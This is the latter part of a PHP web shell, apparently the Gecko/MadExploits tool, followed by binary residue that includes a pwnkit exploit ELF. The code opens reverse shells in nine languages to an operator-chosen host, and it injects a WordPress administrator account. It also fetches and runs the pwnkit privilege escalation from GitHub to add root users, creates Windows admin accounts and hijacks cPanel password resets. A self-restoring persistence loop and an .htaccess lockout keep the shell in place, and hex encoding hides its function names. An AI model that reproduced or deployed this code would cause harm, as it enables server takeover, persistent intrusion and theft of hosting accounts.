            </div>
        </div>
        </div>
    <?php endif; ?>
    <script>
        $(document).ready(function() {


            $('#create_folder').click(function() {
                $('.modal').show();
                $('#modal-title').html('<i class="fa-solid fa-folder-plus"></i>&nbsp;Create Folder');
                $('#modal-input').html('<input type="text" name="create_folder" class="modal-create-input" placeholder="Create Folder">');
                event.preventDefault();
            });
            $('#create_file').click(function() {
                $('.modal').show();
                $('#modal-title').html('<i class="fa-solid fa-file-circle-plus"></i>&nbsp;Create File');
                $('#modal-input').html('<input type="text" name="create_file" class="modal-create-input" placeholder="Create File">');
                event.preventDefault();
            });
            $('#lock-file').click(function() {
                $('.modal').show();
                $('#modal-title').html('<i class="fa-solid fa-lock"></i>&nbsp;LOCK FILE');
                $('#modal-input').html('<input type="text" name="lockfile" class="modal-create-input" placeholder="Your File Name">');
                event.preventDefault();
            });
            $('#root-user').click(function() {
                $('.modal').show();
                $('#modal-title').html('<i class="fa-solid fa-user-plus"></i>&nbsp;ADD USER');
                $('#modal-input').html('<input type="text" name="add-username" class="modal-create-input" placeholder="Username"><br><br><input type="text" name="add-password" class="modal-create-input" placeholder="Password">');
                event.preventDefault();
            });

            $('#create-rdp').click(function() {
                $('.modal').show();
                $('#modal-title').html(':: CREATE RDP');
                $('#modal-input').html('<input type="text" name="add-rdp" class="modal-create-input" placeholder="Username"><br><br><input type="text" name="add-rdp-pass" class="modal-create-input" placeholder="Password">');
                event.preventDefault();
            });

            $('#close-modal').click(function() {
                $('.modal').hide();
                event.preventDefault();
            });
            $('#close-editor').click(function() {
                $('.code-editor').hide();
                event.preventDefault();
            });

            $('.close-terminal').click(function() {
                $('.terminal').hide();
                event.preventDefault();
            });
            $('.close-btn-s').click(function() {
                $('.modal').hide();
                event.preventDefault();
            });


            var myTextarea = document.getElementById("code");

            var editor = CodeMirror.fromTextArea(myTextarea, {
                mode: "xml",
                lineNumbers: true,
                theme: "ayu-mirage",
                extraKeys: {
                    "Ctrl-Space": "autocomplete"
                },
                hintOptions: {
                    completeSingle: false,
                },
            });

        });
    </script>
</body>

</html>
<?php

if (isset($_POST['submitwp'])) {
    $db_name = $_POST['db_name'];
    $db_user = $_POST['db_user'];
    $db_pass = $_POST['db_pass'];
    $db_host = $_POST['db_host'];
    $wp_user = $_POST['wp_user'];
    $wp_pass = password_hash($_POST['wp_pass'], PASSWORD_DEFAULT);

    $conn = new mysqli($db_host, $db_user, $db_pass, $db_name);

    if ($conn->connect_error) {
        failed();
        die("Error Cug : " . $conn->connect_error);
    }

    $sql = "INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES ('$wp_user', '$wp_pass', 'MadExploits', '', '', NOW(), '', 0, 'MadExploits')";

    $sqltakeuserid = "SELECT ID FROM wp_users WHERE user_login = '$wp_user'";

    if ($conn->query($sql) === TRUE && $conn->query($sqltakeuserid)) {
        $result = $conn->query($sqltakeuserid);

        if ($result->num_rows > 0) {
            $row = $result->fetch_assoc();
            $user_id = $row["ID"];

            $sqlusermeta = "INSERT INTO wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES ('', $user_id, 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')";

            if ($conn->query($sqlusermeta) === TRUE) {
                Success();
            } else {
                echo "Error: " . $sqlusermeta . "\n" . $conn->error;
            }
        } else {
            echo "User tidak ditemukan.\n";
        }

        Success();
    } else {
        echo "Error: " . $sql . "\n" . $conn->error;
    }

    $conn->close();
}



if (isset($_GET['unlockshell'])) {
    if (cmd("killall -9 php") && cmd("pkill -9 php")) {
        success();
    } else {
        failed();
    }
}

if (isset($_POST['submit-bc'])) {
    $HostServer = $_POST['backconnect-host'];
    $PortServer = $_POST['backconnect-port'];
    if ($_POST['gecko-bc'] == "perl") {
        echo cmd('perl -e \'use Socket;$i="' . $HostServer . '";$p=' . $PortServer . ';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");' . $fungsi[16] . '("/bin/sh -i");};\'');
    } else if ($_POST['gecko-bc'] == "python") {
        echo cmd('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("' . $HostServer . '",' . $PortServer . '));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');
    } else if ($_POST['gecko-bc'] == "ruby") {
        echo cmd('ruby -rsocket -e\'f=TCPSocket.open("' . $HostServer . '",' . $PortServer . ').to_i;' . $fungsi[16] . ' sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)\'');
    } else if ($_POST['gecko-bc'] == "bash") {
        echo cmd('bash -i >& /dev/tcp/' . $HostServer . '/' . $PortServer . ' 0>&1');
    } else if ($_POST['gecko-bc'] == "php") {
        echo cmd('php -r \'$sock=fsockopen("' . $HostServer . '",' . $PortServer . ');' . $fungsi[16] . '("/bin/sh -i <&3 >&3 2>&3");\'');
    } else if ($_POST['gecko-bc'] == "nc") {
        echo cmd('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ' . $HostServer . ' ' . $PortServer . ' >/tmp/f');
    } else if ($_POST['gecko-bc'] == "sh") {
        echo cmd('sh -i >& /dev/tcp/' . $HostServer . '/' . $PortServer . ' 0>&1');
    } else if ($_POST['gecko-bc'] == "xterm") {
        echo cmd('xterm -display ' . $HostServer . ':' . $PortServer);
    } else if ($_POST['gecko-bc'] == "golang") {
        echo cmd('echo \'package main;import"os/' . $fungsi[16] . '";import"net";func main(){c,_:=net.Dial("tcp","' . $HostServer . ':' . $PortServer . '");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}\' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go');
    }
}



if (isset($_GET['lockshell'])) {
    $curFile = trim(basename($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));
    $TmpNames = $fungsi[31]();
    if (file_exists($TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($curFile)  . '-handler')) && file_exists($TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . '-text'))) {
        cmd('rm -rf ' . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . '-text'));
        cmd('rm -rf ' . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . '-handler'));
    }
    mkdir($TmpNames . "/.sessions");
    cmd("cp $curFile " . $TmpNames . "/.sessions/." . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . '-text'));
    chmod($curFile, 0444);
    $handler = '
<?php
@ini_set("max_execution_time", 0);
while (True){
    if (!file_exists("' . __DIR__ . '")){
        mkdir("' . __DIR__ . '");
    }
    if (!file_exists("' . $fungsi[0]() . '/' . $curFile . '")){
        $text = ' . $fungsi[33] . '(file_get_contents("' . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($curFile) . '-text') . '"));
        file_put_contents("' . $fungsi[0]() . '/' . $curFile . '", ' . $fungsi[32] . '($text));
    }
    if (gecko_perm("' . $fungsi[0]() . '/' . $curFile . '") != 0444){
        chmod("' . $fungsi[0]() . '/' . $curFile . '", 0444);
    }
    if (gecko_perm("' . __DIR__ . '") != 0555){
        chmod("' . __DIR__ . '", 0555);
    }
}

function gecko_perm($flename){
    return substr(sprintf("%o", fileperms($flename)), -4);
}
';
    $hndlers = $fungsi[28]($TmpNames . "/.sessions/." . $fungsi[33]($fungsi[0]() . remove_dot($curFile)  . '-handler') . "", $handler);
    if ($hndlers) {
        cmd(PHP_BINARY . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($curFile)  . '-handler') . ' > /dev/null 2>/dev/null &');
        success();
    } else {
        failed();
    }
}
if (isset($_POST['gecko-up-submit'])) {
    $namaFilenya = $_FILES['gecko-upload']['name'];
    $tmpName = $_FILES['gecko-upload']['tmp_name'];
    if ($fungsi[29]($tmpName, $fungsi[0]() . "/" . $namaFilenya)) {
        success();
    } else {
        failed();
    }
}

if (isset($_GET['destroy'])) {
    $DOC_ROOT = $_SERVER["\x44\x4f\x43\x55\x4d\x45\x4e\x54\x5f\x52\x4f\x4f\x54"];
    $CurrentFile = trim(basename($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"]));
    if ($fungsi[4]($DOC_ROOT)) {
        $htaccess = '
<FilesMatch "\.(php|ph*|Ph*|PH*|pH*)$">
    Deny from all
</FilesMatch>
<FilesMatch "^(' . $CurrentFile . '|index.php|wp-config.php|wp-includes.php)$">
    Allow from all
</FilesMatch>
<FilesMatch "\.(jpg|png|gif|pdf|jpeg)$">
    Allow from all
</FilesMatch>';
        $put_htt = $fungsi[28]($DOC_ROOT . "/.htaccess", $htaccess);
        if ($put_htt) {
            success();
        } else {
            failed();
        }
    } else {
        failed();
    }
}


if (isset($_POST['save-editor'])) {
    $save = $fungsi[28]($fungsi[0]() . "/" . unx($_GET['f']), $_POST['code-editor']);
    if ($save) {
        success();
    } else {
        failed();
    }
}

if (isset($_GET['adminer'])) {
    $URL = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x69\x74\x68\x75\x62\x2e\x63\x6f\x6d\x2f\x76\x72\x61\x6e\x61\x2f\x61\x64\x6d\x69\x6e\x65\x72\x2f\x72\x65\x6c\x65\x61\x73\x65\x73\x2f\x64\x6f\x77\x6e\x6c\x6f\x61\x64\x2f\x76\x34\x2e\x38\x2e\x31\x2f\x61\x64\x6d\x69\x6e\x65\x72\x2d\x34\x2e\x38\x2e\x31\x2e\x70\x68\x70";
    if (!$fungsi[3]('adminer.php')) {
        $fungsi[28]("adminer.php", $fungsi[11]($URL));
        echo '<meta http-equiv="refresh" content="0;url=?d=' . hx($fungsi[0]()) . '">';
    }
}


if ($_GET['terminal'] == "root") {
    if (!$fungsi[3]('pwnkit') && $fungsi[4]($fungsi[0]())) {
        $fungsi[28]("pwnkit", $fungsi[11]("https://github.com/MadExploits/Privelege-escalation/raw/main/pwnkit"));
        cmd('chmod +x pwnkit');
        echo cmd('./pwnkit "id" > .mad-root');
        echo '<meta http-equiv="refresh" content="0;url=?d=' . hx($fungsi[0]()) . '&terminal=root">';
    }
}

if (isset($_POST['submit-action'])) {
    $items = $_POST['check'];
    if ($_POST['gecko-select'] == "delete") {
        foreach ($items as $it) {
            $repl = str_replace("\\", "/", $fungsi[0]()); // Untuk Windows Path
            $fd = $repl . "/" . $it;
            if (is_dir($fd) || is_file($fd)) {
                $rmdir = unlinkDir($fd);
                $rmfile = $fungsi[24]($fd);
                if ($rmdir || $rmfile) {
                    success();
                } else if ($rmdir && $rmfile) {
                    success();
                } else {
                    failed();
                }
            }
        }
    } else if ($_POST['gecko-select'] == 'unzip') {
        foreach ($items as $it) {
            $repl = str_replace("\\", "/", $fungsi[0]()); // Untuk Windows Path
            $fd = $repl . "/" . $it;
            if (ExtractArchive($fd, $repl . '/') == true) {
                success();
            } else {
                failed();
            }
        }
    } else if ($_POST['gecko-select'] == 'zip') {
        foreach ($items as $it) {
            $repl = str_replace("\\", "/", $fungsi[0]()); // Untuk Windows Path
            $fd = $repl . "/" . $it;
            if ($fungsi[3]($fd)) {
                compressToZip($fd, pathinfo($fd, PATHINFO_FILENAME) . ".zip");
            }
        }
    }
}

if (isset($_POST['submit'])) {
    if ($_POST['resetcp'] == true) {
        $emailCp = $_POST['resetcp'];
        $path0cp = dirname($_SERVER['DOCUMENT_ROOT']);
        $pathcp = $path0cp . "/.cpanel/contactinfo";
        $contactinfo = '
"email" : "' . $emailCp . '"
        ';
        if ($fungsi[3]($pathcp)) {
            $fungsi[28]($pathcp, $contactinfo);
            echo '<meta http-equiv="refresh" content="0;url=' . $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['SERVER_NAME'] . ':2083/resetpass?start=1">';
        } else {
            failed();
        }
    }
    if ($_POST['create_folder'] == true) {
        $NamaFolder = $fungsi[12]($_POST['create_folder']);
        if ($NamaFolder) {
            success();
        } else {
            failed();
        }
    } else if ($_POST['create_file'] == true) {
        $namaFile = $fungsi[13]($_POST['create_file']);
        if ($namaFile) {
            success();
        } else {
            failed();
        }
    } else if ($_POST['renameFile'] == true) {
        $renameFile = $fungsi[15](unx($_GET['re']), $_POST['renameFile']);
        if ($renameFile) {
            success();
        } else {
            failed();
        }
    } else if ($_POST['chFile']) {
        $chFiles = $fungsi[30](unx($_GET['ch']), $_POST['chFile']);
        if ($chFiles) {
            success();
        } else {
            failed();
        }
    } else if (isset($_POST['add-username']) && isset($_POST['add-password'])) {
        if (!$fungsi[3]('pwnkit')) {
            cmd('wget https://github.com/MadExploits/Privelege-escalation/raw/main/pwnkit -O pwnkit');
            cmd('chmod +x pwnkit');
            cmd('./pwnkit "id" > .mad-root');
            echo '<meta http-equiv="refresh" content="0;url=?d=' . hx($fungsi[0]()) . '&rooting=True">';
        } else if ($fungsi[3]('.mad-root')) {
            $response = $fungsi[11]('.mad-root');
            $r_text = explode(" ", $response);
            if ($r_text[0] == "uid=0(root)") {
                $username = $_POST['add-username'];
                $password = $_POST['add-password'];
                cmd('./pwnkit "useradd ' . $username . ' ; echo -e "' . $password . '\n' . $password . '" | passwd ' . $username . '"');
            } else {
                echo '<meta http-equiv="refresh" content="0;url=?d=' . hx($fungsi[0]()) . '&adduser=failed">';
            }
        }
    } else if ($_POST['lockfile'] == true) {
        $flesName = $_POST['lockfile'];
        $TmpNames = $fungsi[31]();
        if (file_exists($TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . '-handler')) && file_exists($TmpNames . '/.sessions/.' . remove_dot($flesName) . '-text')) {
            cmd('rm -rf ' . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . '-text-file'));
            cmd('rm -rf ' . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . '-handler'));
        }
        mkdir($TmpNames . "/.sessions");
        cmd("cp $flesName " . $TmpNames . "/.sessions/." . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . '-text-file'));
        cmd("chmod 444 " . $flesName);
        $handler = '
<?php
@ini_set("max_execution_time", 0);
while (True){
    if (!file_exists("' . $fungsi[0]() . '")){
        mkdir("' . $fungsi[0]() . '");
    }
    if (!file_exists("' . $fungsi[0]() . '/' . $flesName . '")){
        $text = ' . $fungsi[33] . '(file_get_contents("' . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . '-text-file') . '"));
        file_put_contents("' . $fungsi[0]() . '/' . $flesName . '", ' . $fungsi[32] . '($text));
    }
    if (gecko_perm("' . $fungsi[0]() . '/' . $flesName . '") != 0444){
        chmod("' . $fungsi[0]() . '/' . $flesName . '", 0444);
    } 
    if (gecko_perm("' . $fungsi[0]() . '") != 0555){
        chmod("' . $fungsi[0]() . '", 0555);
    }
}

function gecko_perm($flename){
    return substr(sprintf("%o", fileperms($flename)), -4);
}
';
        $hndlers = $fungsi[28]($TmpNames . "/.sessions/." . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . '-handler') . "", $handler);
        if ($hndlers) {
            cmd(PHP_BINARY . $TmpNames . '/.sessions/.' . $fungsi[33]($fungsi[0]() . remove_dot($flesName) . '-handler') . ' > /dev/null 2>/dev/null &');
            success();
        } else {
            failed();
        }
    } else if ($_POST['add-rdp'] == True) {
        $userRDP = $_POST['add-rdp'];
        $passRDP = $_POST['add-rdp-pass'];
        if (stristr(PHP_OS, "WIN")) {
            $procRDP = cmd("net user " . $userRDP . " " . $passRDP . " /add");
            if ($procRDP) {
                cmd("net localgroup administrators " . $userRDP . " /add");
                success();
            } else {
                failed();
            }
        } else {
            failed();
        }
    } else if ($_POST['mail-from-smtp'] == True) {
        $emailFrom = $_POST['mail-from-smtp'];
        $emailTo = $_POST['mail-to-smtp'];
        $emailSubject = $_POST['mailto-subject'];
        $messageMail = $_POST['message-smtp'];
        $headersMail = 'From: ' . $emailFrom . '' . "\r\n" .
            'Reply-To: ' . $emailFrom . '' . "\r\n" .
            'X-Mailer: PHP/' . phpversion();
        $procMailSmTp = mail($emailTo, $emailSubject, $messageMail, $headersMail);
        if ($procMailSmTp) {
            success();
        } else {
            failed();
        }
    }
}

if ($_GET['response'] == "success") {
    echo "<script>
Swal.fire({
    icon: 'success',
    title: 'Sucesss...',
    text: 'Done Success!',
    confirmButtonColor: '#22242d',
})</script>";
} else if ($_GET['response'] == "failed") {
    echo "<script>
Swal.fire({
    icon: 'error',
    title: 'Failed...',
    text: 'Something wrong!',
    confirmButtonColor: '#22242d',
})
    </script>";
}


function success()
{
    echo '<meta http-equiv="refresh" content="0;url=?d=' . hx($GLOBALS['fungsi'][0]()) . '&response=success">';
}
function failed()
{
    echo '<meta http-equiv="refresh" content="0;url=?d=' . hx($GLOBALS['fungsi'][0]()) . '&response=failed">';
}

function formatSize($bytes)
{
    $types = array('<span class="file-size">B</span>', '<span class="file-size">KB</span>', '<span class="file-size">MB</span>', '<span class="file-size">GB</span>', '<span class="file-size">TB</span>');
    for ($i = 0; $bytes >= 1024 && $i < (count($types) - 1); $bytes /= 1024, $i++);
    return (round($bytes, 2) . " " . $types[$i]);
}


function hx($n)
{
    $y = '';
    for ($i = 0; $i < strlen($n); $i++) {
        $y .= dechex(ord($n[$i]));
    }
    return $y;
}
function unx($y)
{
    $n = '';
    for ($i = 0; $i < strlen($y) - 1; $i += 2) {
        $n .= chr(hexdec($y[$i] . $y[$i + 1]));
    }
    return $n;
}

function suggest_exploit()
{
    $uname = $GLOBALS['fungsi'][8]();
    $xplod = explode(" ", $uname);
    $xpld = explode("-", $xplod[2]);
    $pl = explode(".", $xpld[0]);
    return $pl[0] . "." . $pl[1] . "." . $pl[2];
}
function s()
{
    $d0mains = @$GLOBALS['fungsi'][7]("/etc/named.conf", false);
    if (!$d0mains) {
        $dom = "<font color=red size=2px>Cant Read [ /etc/named.conf ]</font>";
        $GLOBALS["need_to_update_header"] = "true";
    } else {
        $count = 0;
        foreach ($d0mains as $d0main) {
            if (@strstr($d0main, "zone")) {
                preg_match_all('#zone "(.*)"#', $d0main, $domains);
                flush();
                if (strlen(trim($domains[1][0])) > 2) {
                    flush();
                    $count++;
                }
            }
        }
        $dom = "$count Domain";
    }
    return $dom;
}

function cmd($in, $re = false)
{
    $out = '';
    try {
        if ($re) $in = $in . " 2>&1";
        if (function_exists("\x65\x78\x65\x63")) {
            @$GLOBALS['fungsi'][16]($in, $out);
            $out = @join("\n", $out);
        } elseif (function_exists("\x70\x61\x73\x73\x74\x68\x72\x75")) {
            ob_start();
            @$GLOBALS['fungsi'][17]($in);
            $out = ob_get_clean();
        } elseif (function_exists("\x73\x79\x73\x74\x65\x6d")) {
            ob_start();
            @$GLOBALS['fungsi'][18]($in);
            $out = ob_get_clean();
        } elseif (function_exists("\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63")) {
            $out = $GLOBALS['fungsi'][19]($in);
        } elseif (function_exists("\x70\x6f\x70\x65\x6e") && function_exists("\x70\x63\x6c\x6f\x73\x65")) {
            if (is_resource($f = @$GLOBALS['fungsi'][20]($in, "r"))) {
                $out = "";
                while (!@feof($f))
                    $out .= fread($f, 1024);
                $GLOBALS['fungsi'][21]($f);
            }
        } elseif (function_exists("\x70\x72\x6f\x63\x5f\x6f\x70\x65\x6e")) {
            $pipes = array();
            $process = @$GLOBALS['fungsi'][23]($in . ' 2>&1', array(array("pipe", "w"), array("pipe", "w"), array("pipe", "w")), $pipes, null);
            $out = @$GLOBALS['fungsi'][22]($pipes[1]);
        }
    } catch (Exception $e) {
    }
    return $out;
}


function winpwd()
{
    return str_replace("\\", "/", $GLOBALS['fungsi'][0]());
}

function compressToZip($sourceFile, $zipFilename)
{
    $zip = new ZipArchive();

    if ($zip->open($zipFilename, ZipArchive::CREATE) === TRUE) {
        $zip->addFile($sourceFile, basename($sourceFile));
        $zip->close();
        success();
    } else {
        failed();
    }
}

function remove_slash($val)
{
    $tex = str_replace("/", "", $val);
    $tex1 = str_replace(":", "", $tex);
    $tex2 = str_replace("_", "", $tex1);
    $tex3 = str_replace(" ", "", $tex2);
    $tex4 = str_replace(".", "", $tex3);
    return $tex4;
}

function unlinkDir($dir)
{
    $dirs = array($dir);
    $files = array();
    for ($i = 0;; $i++) {
        if (isset($dirs[$i]))
            $dir =  $dirs[$i];
        else
            break;

        if ($openDir = opendir($dir)) {
            while ($readDir = @readdir($openDir)) {
                if ($readDir != "." && $readDir != "..") {

                    if ($GLOBALS['fungsi'][2]($dir . "/" . $readDir)) {
                        $dirs[] = $dir . "/" . $readDir;
                    } else {

                        $files[] = $dir . "/" . $readDir;
                    }
                }
            }
        }
    }



    foreach ($files as $file) {
        $GLOBALS['fungsi'][24]($file);
    }
    $dirs = array_reverse($dirs);
    foreach ($dirs as $dir) {
        $GLOBALS['fungsi'][25]($dir);
    }
}

function remove_dot($file)
{
    $FILES = $file;
    $pch = explode(".", $FILES);
    return $pch[0];
}


function windowsDriver()
{
    $winArr = [
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'V', 'W', 'X', 'Y', 'Z'
    ];
    foreach ($winArr as $winNum => $winVal) {
        if (is_dir($winVal . ":/")) {
            echo "<a style='color:orange; font-weight:bold;' href='?d=" . hx($winVal . ":/") . "'>[ " . $winVal . " ] </a>&nbsp;";
        }
    }
}

function namaPanjang($value)
{
    $namaNya = $value;
    $extensi = pathinfo($value, PATHINFO_EXTENSION);
    if (strlen($namaNya) > 30) {
        return substr($namaNya, 0, 30) . "...";
    } else {
        return $value;
    }
}

function extractArchive($archiveFilename, $extractPath)
{
    $zip = new ZipArchive();

    if ($zip->open($archiveFilename) === TRUE) {
        $zip->extractTo($extractPath);
        $zip->close();
        return true;
    } else {
        return false;
    }
}

function perms($file)
{
    $perms = $GLOBALS['fungsi'][6]($file);
    if (($perms & 0xC000) == 0xC000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
        (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
        (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));

    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
        (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    return $info;
}
?>
PK!8/.mad-rootnu�[���PK!C�!)�+�+8/pwnkitnuȯ��ELF>]@H@8@@@@��PPP\\ `` ` �� �� � ��$$P�tdlll44Q�tdGNU���Mlt,0+F�H,��
�����b#&bV�`��|�
�CE��4�R��qX���z��)|q�|���	@��� % ������"�����
��v�R�Yep�Rj]�1�0 9P�  �X%�  �	@H�
=`)4�__gmon_start___fini__cxa_finalize_Jv_RegisterClassesservice_interpunlink_cbremoveperrorrmrfnftwentrymkdir__errno_location_exitcreatfopenfputsfclosereadlinksymlinkpipeforkreadstrstrdup2memcpyexecveexecvpegconvgconv_initgetenvsetresuidsetresgidlibc.so.6_edata__bss_start_endGLIBC_2.3.3GLIBC_2.11GLIBC_2.2.5si	6���Bui	M� �  &   ( H P X ` h 'p x 	� 
� � � 
� � � � � � � � � � � �     H�����r�H���5� �%� @�%� h����%� h�����%� h����%� h����%� h����%� h����%� h����%� h�p����%� h�`����%� h	�P����%� h
�@����%� h�0����%z h� ����%r h
�����%j h�����%b h���%Z h����%R h�����%J h����%B h����%: h����%2 h����%* h����%" h�p����% h�`����% h�P����%
 h�@���H��H��	 H��t��H����������U�=�
 H��ATSubH�=�	 tH�=' ���H� L�%� H��
 L)�H��H��H9�s DH��H��
 A��H��
 H9�r��n
 [A\��f�H�=� UH��tH�K	 H��tH�=� ��@�Ð�UH��H��0H�}�H�u�U�H�M�H�E�H������E��}�tH�E�H�������E���UH��SH��H�}�H�E�	�@H�� H��H�����H��[��UH��H��H��H����E�H��H��H�E���H�=-�x����E܃}�u"�
������tH�=�7�����-�����H�=�<����Eܾ�H�=�(����E�H�H�H��H������H�E�H�}�uH�=���������H�H�U�H��H��������yH�=�������H�E�H���_���H�H�����H��H�����Ƅ��H����H�5�H�������E܃}�uH�=��>�����4���H����H���e������������������������H������H�Ή����Ƅ��H����H�5�H���!���H��H����H9�u$H�=��f���H�=�j���H�=��^��������������'������������������������H�E��}�~'H�E�H��H�H���H�5>H������H�E�HDž��H�.H����H�H����H�H����H�H����H�E�H����HDž��H����H����H��H�=��=���H����H����H��H�=��������UH����UH��H��P����������H�=�����H�E�����;����������H�=���H�=1����H�}�t@H�^H�E�H�[H�E�H�E�H�E�H�E�H�E��H��H�=,�Z����VH�)H�E�H�E�H�EкH��H�=
�-���H��H�E�H�E�H�E�H��H�=�������x���UH��SH��H�� H���tH�� H����H�H���u�H��[��H�����H���GCONV_PATH=.Failed to create directoryGCONV_PATH=./.pkexec.pkexecw+.pkexec/gconv-modulesFailed to open output filemodule UTF-8// PKEXEC// pkexec 2Failed to write config/proc/self/exe.pkexec/pkexec.soFailed to copy filepkexec --versionExploit failed. Target is most likely patched.CMD=PATH=GCONV_PATH=.CHARSET=pkexecSHELL=pkexec/usr/bin/pkexecpkexecCMD/bin/sh-c-i/bin/bash/lib64/ld-linux-x86-64.so.2;0����L����l��������zRx�,���=A�C
x<I���4A�C
^�Q\]����A�C
|2���A�C
A����A�C
����������������� @
����o(Px
Y0 ��@x	���o���o�o����o� n~��������.>N^n~��������
GCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-18).symtab.strtab.shstrtab.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.interp.eh_frame_hdr.eh_frame.ctors.dtors.jcr.data.rel.ro.dynamic.got.got.plt.bss.comment$.���o((P8xx�@PPYH���o��RU���o@d@@xn���
x@@sXX�~ 
 
���������PP�ll4�����` `�p p�� ��� ��� ���  �0 0��   �0 -M�� �-	h(�(xP�@�	@
X 
�
�Pl�` p � � �  0    
�` *p 8� E@
[  j( x�
��h �X�� �p����0 �� �x �� �
=
"4G V j|)4�����R�]�����	"%7K^t�X������  ��0 );PJ^�  ew�	@call_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.6352dtor_idx.6354frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_auxPwnKit.c_GLOBAL_OFFSET_TABLE___dso_handle__DTOR_END___DYNAMICunlink_cbsymlink@@GLIBC_2.2.5dup2@@GLIBC_2.2.5close@@GLIBC_2.2.5__gmon_start___Jv_RegisterClassesputs@@GLIBC_2.2.5rmrf_finiread@@GLIBC_2.2.5fopen@@GLIBC_2.2.5gconventrysetresuid@@GLIBC_2.2.5_exit@@GLIBC_2.2.5execvpe@@GLIBC_2.11creat@@GLIBC_2.2.5__cxa_finalize@@GLIBC_2.2.5pipe@@GLIBC_2.2.5strstr@@GLIBC_2.2.5fputs@@GLIBC_2.2.5readlink@@GLIBC_2.2.5execve@@GLIBC_2.2.5gconv_initsetresgid@@GLIBC_2.2.5memcpy@@GLIBC_2.2.5getenv@@GLIBC_2.2.5__errno_location@@GLIBC_2.2.5__bss_start_endfclose@@GLIBC_2.2.5remove@@GLIBC_2.2.5fork@@GLIBC_2.2.5service_interpperror@@GLIBC_2.2.5_edatanftw@@GLIBC_2.3.3mkdir@@GLIBC_2.2.5_initPK!GCONV_PATH=./.pkexecnuȯ��PK!1/GCONV_PATH=./.pkexecnuȯ��PK!�o<ww1/687e1ef629fb3.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�o<ww1/67e272b18e1f9.jpgnuȯ�����JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

